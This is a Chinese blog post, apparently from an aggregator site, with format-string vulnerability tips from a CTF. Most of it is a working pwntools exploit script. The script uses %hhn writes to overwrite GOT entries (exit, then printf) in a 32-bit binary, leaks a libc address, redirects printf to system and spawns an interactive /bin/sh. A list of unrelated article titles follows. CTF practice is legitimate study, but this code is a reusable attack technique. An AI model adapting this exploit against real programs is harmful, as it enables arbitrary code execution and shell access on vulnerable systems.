格式化参数漏洞小技巧
来源:互联网 发布:flash软件怎么用 编辑:程序博客网 时间:2024/05/18 17:04
做完ctf总结一下
1。如果程序无法一次完成可以更改一个got表回到程序开始
2。尽可能用hhn可以减小输出次数,不然接收会有问题
3。字符串偏移如果不好算可以输出a来对齐
from pwn import *
exit_got=0x0804a024
#0804866b
print_got=0x0804a014
z1=0x0804
z1-=8
z2=0x866d
z2-=0x0804
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p=process('./pwn1')
#gdb.attach(p)
print p.recvuntil('Welcome~\n')
payload = '%{0}d%32$hhn%{1}d%33$hhn%{2}d%34$hhn%{3}d%35$hhn'.format((0x6E)%0x100,(0x186-0x6e)%0x100,(0x104-0x86)%0x100,(0x108-0x4));
payload = payload + 'a'* (100-len(payload)) + p32(exit_got) + p32(exit_got + 1) + p32(exit_got + 2) + p32(exit_got + 3)
p.sendline(payload)
print p.recvuntil("\n")
payload=p32(print_got)+"%7$s"
p.sendline(payload)
p.recv(4)
printf_addr=u32(p.recv(4))
print "%x"%(printf_addr)
system_addr=printf_addr-libc.symbols['printf']+libc.symbols['system']
syslow1 = system_addr%0x100
syslow2 = (system_addr/0x100)%0x100
syslow3 = (system_addr/0x10000)%0x100
syslow4 = (system_addr/0x1000000)%0x100
payload = '%{0}d%32$hhn%{1}d%33$hhn%{2}d%34$hhn%{3}d%35$hhn'.format(syslow1,(0x100+syslow2-syslow1)%0x100,(0x100+syslow3-syslow2)%0x100,(0x100+syslow4-syslow3)%0x100);
payload = payload + 'a' * (100-len(payload)) + p32(print_got) + p32(print_got + 1) + p32(print_got + 2) + p32(print_got + 3)
p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()
- 格式化参数漏洞小技巧
- LFI本地包含漏洞利用小技巧
- 格式化字符串函数的一些小技巧
- 64位整数格式化小技巧
- c小技巧--sprintf可控格式化输出
- shell格式化时间戳的小技巧
- main参数的小技巧
- 浅析格式化串漏洞
- 浅析格式化串漏洞
- 格式化字符串漏洞
- 格式化字符串漏洞实验
- 浅析格式化串漏洞
- 格式化字符串漏洞简介
- 实践格式化字符串漏洞
- 格式化字符串漏洞攻击
- PHP 小技巧之(1)日期格式化问题
- 程序开发小技巧——格式化代码
- 程序开发小技巧——格式化代码
- java中String、StringBuffer、StringBuilder的区别 java中String、StringBuffer、StringBuilder是编程中经常使用的字符串类,他们之间的区
- 136. Single Number
- 基本数据指标--01
- Unity之HoloToolkit问题收集
- PYTHON-sklearn.preprocessing
- 格式化参数漏洞小技巧
- XML-->视频-->人脸VOC
- Nsight Eclipse中使用opencv
- tableau js api 工作簿的简单调用
- Lniux网络通信二(TCP三次握手,四次挥手 并发服务器)
- mac 让Finder显示隐藏文件夹和文件
- Java五个最常用的集合类之间的区别和联系
- I2C总线协议
- Nginx之变量